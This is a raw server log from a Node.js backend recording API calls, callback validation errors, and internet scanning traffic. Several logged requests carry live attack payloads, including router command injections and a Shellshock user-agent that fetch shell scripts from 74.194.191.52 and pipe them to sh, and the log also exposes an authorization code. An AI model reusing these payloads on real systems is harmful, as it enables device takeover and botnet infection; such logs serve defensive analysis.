NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758667440210_3ayzj3t14', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T22:44:36.100Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758667476098_dj91cwutq', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-23T23:14:11.700Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:92.243.24.12', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758669251699_xxf2acjpt', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-23T23:20:22.742Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758669622742_yp93jrtzq', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T23:40:06.538Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:20.65.194.99', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758670806538_s8phsjknd', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T23:54:20.898Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758671660898_56efdeimi', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T00:06:03.355Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758672363354_5rqgbzemn' } ❌ [ERROR] 2025-09-24T00:06:03.356Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758672363354_5rqgbzemn', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '78.241.54.161', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T00:13:12.548Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758672792547_zhy26ed7v' } ❌ [ERROR] 2025-09-24T00:13:12.549Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758672792547_zhy26ed7v', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T00:15:16.012Z HTTP HEAD /api/v1/idnot/state - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758672916011_c7nqh2ylk', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:00.522Z HTTP POST /tmUnblock.cgi - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/tmUnblock.cgi', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673260521_05a6rxtvd', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:00.628Z HTTP POST /goform/set_LimitClient_cfg - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/goform/set_LimitClient_cfg', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673260627_c0kcy65ue', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:00.847Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673260846_d606utzac', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:00.954Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673260950_yic20qthn', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.060Z HTTP POST /apply_sec.cgi - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/apply_sec.cgi', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261059_i0tq8luc2', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.271Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261271_y45puzwmh', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.381Z HTTP POST /goform/setPingInfo - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/goform/setPingInfo', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261379_5pfuszy7j', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.487Z HTTP POST /cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261486_atrgn8cwe', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.703Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/', userAgent: '() { :; }; /bin/bash -c "(wget -qO- http://74.194.191.52/rondo.qre.sh||busybox wget -qO- http://74.194.191.52/rondo.qre.sh||curl -s http://74.194.191.52/rondo.qre.sh)|sh"& #Mozilla/5.0' }, requestId: 'req_1758673261702_bb15yhn40', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.812Z HTTP GET /HNAP1/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.88.186.32', method: 'GET', url: '/HNAP1/', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261811_ro2k2dt7i', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T00:21:01.919Z HTTP POST /goform/SystemCommand - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.88.186.32', method: 'POST', url: '/goform/SystemCommand', userAgent: 'Mozilla/5.0' }, requestId: 'req_1758673261918_6tsxmjzqu', response: { statusCode: 404 } } ℹ️ [INFO] 2025-09-24T00:23:03.761Z HTTP HEAD /health - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'HEAD', url: '/health', userAgent: 'curl/8.14.1' }, requestId: 'req_1758673383758_5pu41s8l6', response: { statusCode: 200 } } ℹ️ [INFO] 2025-09-24T00:23:11.385Z HTTP POST /api/v1/idnot/state - 200 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'POST', url: '/api/v1/idnot/state', userAgent: 'curl/8.14.1' }, requestId: 'req_1758673391383_4o1pvunib', response: { statusCode: 200 } } ❌ [ERROR] 2025-09-24T00:37:01.134Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758674221133_1zkmuickb', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:35:04.404Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:66.132.153.119', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758677704403_wg8281c1k', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:35:07.592Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:66.132.153.119', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758677707591_0tpwur9kw', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:35:11.152Z HTTP GET /security.txt - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:66.132.153.119', method: 'GET', url: '/security.txt', userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' }, requestId: 'req_1758677711151_w77t2e1lk', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:49:19.938Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:192.159.99.162', method: 'GET', url: '/', userAgent: 'Hello World' }, requestId: 'req_1758678559938_59hyjrtqr', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:52:00.371Z HTTP GET /containers/json - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:47.109.48.21', method: 'GET', url: '/containers/json', userAgent: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1' }, requestId: 'req_1758678720370_oc545zvni', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T01:59:19.030Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758679159030_ffty96alt', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T02:05:05.528Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758679505527_hmcklebri', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T02:08:42.702Z HTTP GET /aaa9 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:146.190.166.168', method: 'GET', url: '/aaa9', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758679722701_yfjz2jwvr', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T02:08:45.529Z HTTP GET /aab8 - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:146.190.166.168', method: 'GET', url: '/aab8', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758679725528_cwgshke5v', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T02:08:48.595Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:146.190.166.168', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758679728594_hnxawxb2c', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '3.134.148.59', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-24T02:45:59.491Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758681959490_1o2my643u' } ❌ [ERROR] 2025-09-24T02:45:59.492Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' }, requestId: 'req_1758681959490_1o2my643u', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-24T02:59:40.008Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:192.159.99.180', method: 'GET', url: '/', userAgent: 'Hello World' }, requestId: 'req_1758682780007_dkdnbw4fa', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:13:26.697Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758683606697_ug5berjzi', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:16:44.034Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:64.62.197.212', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15' }, requestId: 'req_1758683804034_ps0rq6szr', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:17:29.178Z HTTP GET /favicon.ico - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:64.62.197.221', method: 'GET', url: '/favicon.ico', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41' }, requestId: 'req_1758683849177_1n5kqvz05', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:17:41.683Z HTTP GET http://api.ipify.org/?format=json - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:64.62.197.217', method: 'GET', url: 'http://api.ipify.org/?format=json', userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' }, requestId: 'req_1758683861683_8h7f88xsx', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:18:02.872Z HTTP GET /geoserver/web/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:64.62.197.212', method: 'GET', url: '/geoserver/web/', userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0' }, requestId: 'req_1758683882871_ap5rp2owj', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:29:41.854Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758684581853_ofbcw6dyg', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T03:56:17.922Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:89.248.173.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0' }, requestId: 'req_1758686177921_fyok9nb8x', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T04:26:12.085Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:198.235.24.166', method: 'GET', url: '/', userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' }, requestId: 'req_1758687972085_p8rq0fm2d', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T04:35:06.750Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758688506749_cq6c8xo7z', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T04:50:08.550Z HTTP GET /?XDEBUG_SESSION_START=phpstorm - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:79.124.58.198', method: 'GET', url: '/?XDEBUG_SESSION_START=phpstorm', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36' }, requestId: 'req_1758689408550_4k3lfd48e', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:17.212Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:94.102.49.193', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' }, requestId: 'req_1758691097211_evucpo9af', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:17.614Z HTTP GET /Synchronization - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:194.165.16.71', method: 'GET', url: '/Synchronization', userAgent: 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36' }, requestId: 'req_1758691097613_92bv1u3cn', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:17.908Z HTTP GET /favicon.ico - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:94.102.49.193', method: 'GET', url: '/favicon.ico', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36' }, requestId: 'req_1758691097907_s9ugl8rjz', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-24T05:18:20.524Z HTTP GET /global-protect/portal/images/337ZRZJ7QMzVKxRMS69rkFFKNMF.txt - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:194.165.16.71', method: 'GET', url: 